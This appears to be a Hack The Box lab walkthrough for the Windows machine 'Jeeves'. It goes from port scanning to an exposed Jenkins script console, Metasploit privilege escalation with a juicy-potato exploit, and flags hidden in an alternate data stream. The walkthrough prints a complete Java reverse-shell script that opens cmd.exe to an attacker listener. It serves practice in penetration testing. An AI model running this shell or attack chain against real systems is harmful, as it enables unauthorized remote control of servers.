HTB Series - Jeeves

tags: htb Jeeves windows walkthrough

We start by scanning the target with nmap to find open ports

Navigating to the http ports, we can look at the directories under 50000 using dirb

We navigate to /askjeeves

We navigate to manage jenkins > script console

We can use the script console to invoke a reverse shell

We use this reverse shell

String host="10.10.14.3";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

We setup a listener on port 8044, run the script and receive a shell

We note privilege impersonation is enabled

We can use msf to create a web delivery script and configure it with options as shown below

We then run the exploit and execute the resulting script on the shell we have

We run the exploit suggester to see possible ways to escalate

We are aiming on some potato attack practice on this one hence the following approach:

We opt for exploit/windows/local/ms16_075_reflection_juicy and configure it as shown below

Running the exploit gives us an elevated session

We then get a privileged shell

I was aiming for token impersonation, but this particular exploit ended up not having a system token I could impersonate, though it did pop a shell as System so that wasn't required anymore.

We navigate to the users directory for the user flag

We navigate to the Admin's directory for the root flag

The file says we should look deeper, so we can use the /R to look deeper.

It appears to be hidden in an alternate data stream, to uncover that we can use techniques from this malware bytes post
Or we can use this workaround with more